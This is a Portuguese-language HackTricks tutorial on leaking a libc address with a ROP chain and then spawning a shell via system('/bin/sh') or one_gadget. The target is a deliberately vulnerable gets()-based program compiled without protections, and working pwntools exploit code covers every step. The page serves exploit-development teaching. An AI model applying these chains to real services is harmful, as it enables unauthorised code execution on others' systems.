mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-26 04:53:39 +00:00
298 lines
14 KiB
Markdown
298 lines
14 KiB
Markdown
# Vazando endereço da libc com ROP
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Resumo Rápido
|
|
|
|
1. **Encontre** o **deslocamento do overflow**
|
|
2. **Encontre** os gadgets `POP_RDI`, `PUTS_PLT` e `MAIN_PLT`
|
|
3. Use os gadgets anteriores para **vazar o endereço de memória** do puts ou outra função libc e **encontre a versão da libc** ([baixe-a](https://libc.blukat.me))
|
|
4. Com a biblioteca, **calcule o ROP e explore-o**
|
|
|
|
## Outros tutoriais e binários para praticar
|
|
|
|
Este tutorial vai explorar o código/binário proposto neste tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
|
|
Outros tutoriais úteis: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
|
|
|
## Código
|
|
|
|
Nome do arquivo: `vuln.c`
|
|
```c
|
|
#include <stdio.h>
|
|
|
|
int main() {
|
|
char buffer[32];
|
|
puts("Simple ROP.\n");
|
|
gets(buffer);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
```bash
|
|
gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
|
```
|
|
## ROP - Modelo de Vazamento de LIBC
|
|
|
|
Vou usar o código localizado aqui para fazer o exploit.\
|
|
Baixe o exploit e coloque-o no mesmo diretório do binário vulnerável e forneça os dados necessários ao script:
|
|
|
|
{% content-ref url="rop-leaking-libc-template.md" %}
|
|
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
|
{% endcontent-ref %}
|
|
|
|
## 1- Encontrando o deslocamento
|
|
|
|
O modelo precisa de um deslocamento antes de continuar com o exploit. Se nenhum for fornecido, ele executará o código necessário para encontrá-lo (por padrão `OFFSET = ""`):
|
|
```bash
|
|
###################
|
|
### Find offset ###
|
|
###################
|
|
OFFSET = ""#"A"*72
|
|
if OFFSET == "":
|
|
gdb.attach(p.pid, "c") #Attach and continue
|
|
payload = cyclic(1000)
|
|
print(r.clean())
|
|
r.sendline(payload)
|
|
#x/wx $rsp -- Search for bytes that crashed the application
|
|
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
|
return
|
|
```
|
|
**Execute** `python template.py` uma consola GDB será aberta com o programa a falhar. Dentro dessa **consola GDB** execute `x/wx $rsp` para obter os **bytes** que iriam sobrescrever o RIP. Por fim, obtenha o **offset** usando uma consola **python**:
|
|
```python
|
|
from pwn import *
|
|
cyclic_find(0x6161616b)
|
|
```
|
|
.png>)
|
|
|
|
Depois de encontrar o deslocamento (neste caso 40), altere a variável OFFSET no modelo usando esse valor.\
|
|
`OFFSET = "A" * 40`
|
|
|
|
Outra maneira seria usar: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` do GEF.
|
|
|
|
## 2- Encontrando Gadgets
|
|
|
|
Agora precisamos encontrar gadgets ROP dentro do binário. Esses gadgets ROP serão úteis para chamar `puts` para encontrar a **libc** sendo usada e, posteriormente, **lançar o exploit final**.
|
|
```python
|
|
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
|
|
MAIN_PLT = elf.symbols['main']
|
|
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
|
|
RET = (rop.find_gadget(['ret']))[0]
|
|
|
|
log.info("Main start: " + hex(MAIN_PLT))
|
|
log.info("Puts plt: " + hex(PUTS_PLT))
|
|
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
|
|
```
|
|
O `PUTS_PLT` é necessário para chamar a **função puts**.\
|
|
O `MAIN_PLT` é necessário para chamar a **função principal** novamente após uma interação para **explorar** o **estouro de pilha novamente** (rodadas infinitas de exploração). **É usado no final de cada ROP para chamar o programa novamente**.\
|
|
O **POP\_RDI** é necessário para **passar** um **parâmetro** para a função chamada.
|
|
|
|
Nesta etapa, você não precisa executar nada, pois tudo será encontrado pelo pwntools durante a execução.
|
|
|
|
## 3- Encontrando a biblioteca libc
|
|
|
|
Agora é hora de descobrir qual versão da biblioteca **libc** está sendo usada. Para fazer isso, vamos **vazar** o **endereço** na memória da **função** `puts` e então vamos **procurar** em qual **versão da biblioteca** a versão do puts está nesse endereço.
|
|
```python
|
|
def get_addr(func_name):
|
|
FUNC_GOT = elf.got[func_name]
|
|
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
|
|
# Create rop chain
|
|
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
|
|
|
#Send our rop-chain payload
|
|
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
|
|
print(p.clean()) # clean socket buffer (read all and print)
|
|
p.sendline(rop1)
|
|
|
|
#Parse leaked address
|
|
recieved = p.recvline().strip()
|
|
leak = u64(recieved.ljust(8, "\x00"))
|
|
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
|
|
#If not libc yet, stop here
|
|
if libc != "":
|
|
libc.address = leak - libc.symbols[func_name] #Save libc base
|
|
log.info("libc base @ %s" % hex(libc.address))
|
|
|
|
return hex(leak)
|
|
|
|
get_addr("puts") #Search for puts address in memmory to obtains libc base
|
|
if libc == "":
|
|
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
|
|
p.interactive()
|
|
```
|
|
Para fazer isso, a linha mais importante do código executado é:
|
|
```python
|
|
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
|
```
|
|
Isso enviará alguns bytes até **sobrescrever** o **RIP** ser possível: `OFFSET`.\
|
|
Em seguida, ele definirá o **endereço** do gadget `POP_RDI` para que o próximo endereço (`FUNC_GOT`) seja salvo no registro **RDI**. Isso ocorre porque queremos **chamar puts** **passando** o **endereço** do `PUTS_GOT` como o endereço na memória da função puts é salvo no endereço apontado por `PUTS_GOT`.\
|
|
Depois disso, `PUTS_PLT` será chamado (com `PUTS_GOT` dentro do **RDI**) para que puts **leia o conteúdo** dentro de `PUTS_GOT` (**o endereço da função puts na memória**) e o **imprima**.\
|
|
Por fim, a **função principal é chamada novamente** para que possamos explorar a sobrecarga novamente.
|
|
|
|
Dessa forma, **enganamos a função puts** para **imprimir** o **endereço** na **memória** da função **puts** (que está dentro da biblioteca **libc**). Agora que temos esse endereço, podemos **pesquisar qual versão da libc está sendo usada**.
|
|
|
|
.png>)
|
|
|
|
Como estamos **explorando** um **binário local**, **não é necessário** descobrir qual versão da **libc** está sendo usada (apenas encontre a biblioteca em `/lib/x86_64-linux-gnu/libc.so.6`).\
|
|
Mas, em um caso de exploração remota, explicarei aqui como você pode encontrá-la:
|
|
|
|
### 3.1- Procurando pela versão da libc (1)
|
|
|
|
Você pode pesquisar qual biblioteca está sendo usada na página da web: [https://libc.blukat.me/](https://libc.blukat.me)\
|
|
Isso também permitirá que você baixe a versão descoberta da **libc**
|
|
|
|
.png>)
|
|
|
|
### 3.2- Procurando pela versão da libc (2)
|
|
|
|
Você também pode fazer:
|
|
|
|
* `$ git clone https://github.com/niklasb/libc-database.git`
|
|
* `$ cd libc-database`
|
|
* `$ ./get`
|
|
|
|
Isso levará algum tempo, seja paciente.\
|
|
Para isso funcionar, precisamos de:
|
|
|
|
* Nome do símbolo da libc: `puts`
|
|
* Endereço da libc vazado: `0x7ff629878690`
|
|
|
|
Podemos descobrir qual **libc** é mais provável que esteja sendo usada.
|
|
```bash
|
|
./find puts 0x7ff629878690
|
|
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
|
|
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
|
|
```
|
|
Obtemos 2 correspondências (deves tentar a segunda se a primeira não funcionar). Faz o download da primeira:
|
|
```bash
|
|
./download libc6_2.23-0ubuntu10_amd64
|
|
Getting libc6_2.23-0ubuntu10_amd64
|
|
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
|
|
-> Downloading package
|
|
-> Extracting package
|
|
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
|
|
```
|
|
Copie a libc de `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` para o nosso diretório de trabalho.
|
|
|
|
### 3.3- Outras funções para vazamento
|
|
```python
|
|
puts
|
|
printf
|
|
__libc_start_main
|
|
read
|
|
gets
|
|
```
|
|
## 4- Encontrando o endereço base da libc e explorando
|
|
|
|
Neste ponto, devemos saber a biblioteca libc utilizada. Como estamos explorando um binário local, vou usar apenas: `/lib/x86_64-linux-gnu/libc.so.6`
|
|
|
|
Portanto, no início do `template.py`, altere a variável **libc** para: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Defina o caminho da biblioteca quando souber`
|
|
|
|
Ao fornecer o **caminho** para a **biblioteca libc**, o restante da **exploit será calculado automaticamente**.
|
|
|
|
Dentro da função `get_addr`, o **endereço base da libc** será calculado:
|
|
```python
|
|
if libc != "":
|
|
libc.address = leak - libc.symbols[func_name] #Save libc base
|
|
log.info("libc base @ %s" % hex(libc.address))
|
|
```
|
|
{% hint style="info" %}
|
|
Note que o **endereço base final da libc deve terminar em 00**. Se esse não for o seu caso, você pode ter vazado uma biblioteca incorreta.
|
|
{% endhint %}
|
|
|
|
Em seguida, o endereço da função `system` e o **endereço** da string _"/bin/sh"_ serão **calculados** a partir do **endereço base** da **libc** e considerando a **biblioteca libc** fornecida.
|
|
```python
|
|
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
|
|
SYSTEM = libc.sym["system"]
|
|
EXIT = libc.sym["exit"]
|
|
|
|
log.info("bin/sh %s " % hex(BINSH))
|
|
log.info("system %s " % hex(SYSTEM))
|
|
```
|
|
Finalmente, a exploração de execução /bin/sh está prestes a ser preparada e enviada:
|
|
```python
|
|
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
|
|
|
|
p.clean()
|
|
p.sendline(rop2)
|
|
|
|
#### Interact with the shell #####
|
|
p.interactive() #Interact with the conenction
|
|
```
|
|
Vamos explicar este último ROP.\
|
|
O último ROP (`rop1`) terminou chamando novamente a função principal, então podemos **explorar novamente** o **estouro de pilha** (por isso o `OFFSET` está aqui novamente). Em seguida, queremos chamar `POP_RDI` apontando para o **endereço** de _"/bin/sh"_ (`BINSH`) e chamar a função **system** (`SYSTEM`) porque o endereço de _"/bin/sh"_ será passado como parâmetro.\
|
|
Por fim, o **endereço da função exit** é **chamado** para que o processo **saia corretamente** e nenhum alerta seja gerado.
|
|
|
|
**Dessa forma, o exploit executará um shell \_/bin/sh**\_\*\*.
|
|
|
|
.png>)
|
|
|
|
## 4(2)- Usando ONE\_GADGET
|
|
|
|
Você também poderia usar [**ONE\_GADGET**](https://github.com/david942j/one_gadget) para obter um shell em vez de usar **system** e **"/bin/sh". ONE\_GADGET** encontrará dentro da biblioteca libc alguma maneira de obter um shell usando apenas um **endereço ROP**.\
|
|
No entanto, normalmente existem algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL`. Como você controla os valores dentro do **RSP**, basta enviar mais valores NULL para evitar a restrição.
|
|
|
|
.png>)
|
|
```python
|
|
ONE_GADGET = libc.address + 0x4526a
|
|
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
|
```
|
|
## FICHEIRO DE EXPLOIT
|
|
|
|
Pode encontrar um modelo para explorar esta vulnerabilidade aqui:
|
|
|
|
{% content-ref url="rop-leaking-libc-template.md" %}
|
|
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Problemas Comuns
|
|
|
|
### MAIN\_PLT = elf.symbols\['main'] não encontrado
|
|
|
|
Se o símbolo "main" não existir. Então pode encontrar onde está o código principal:
|
|
```python
|
|
objdump -d vuln_binary | grep "\.text"
|
|
Disassembly of section .text:
|
|
0000000000401080 <.text>:
|
|
```
|
|
e defina o endereço manualmente:
|
|
```python
|
|
MAIN_PLT = 0x401080
|
|
```
|
|
### Puts não encontrado
|
|
|
|
Se o binário não estiver usando Puts, você deve verificar se está usando
|
|
|
|
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
|
|
|
Se você encontrar este **erro** após criar **todo** o exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
|
|
|
Tente **subtrair 64 bytes do endereço de "/bin/sh"**:
|
|
```python
|
|
BINSH = next(libc.search("/bin/sh")) - 64
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|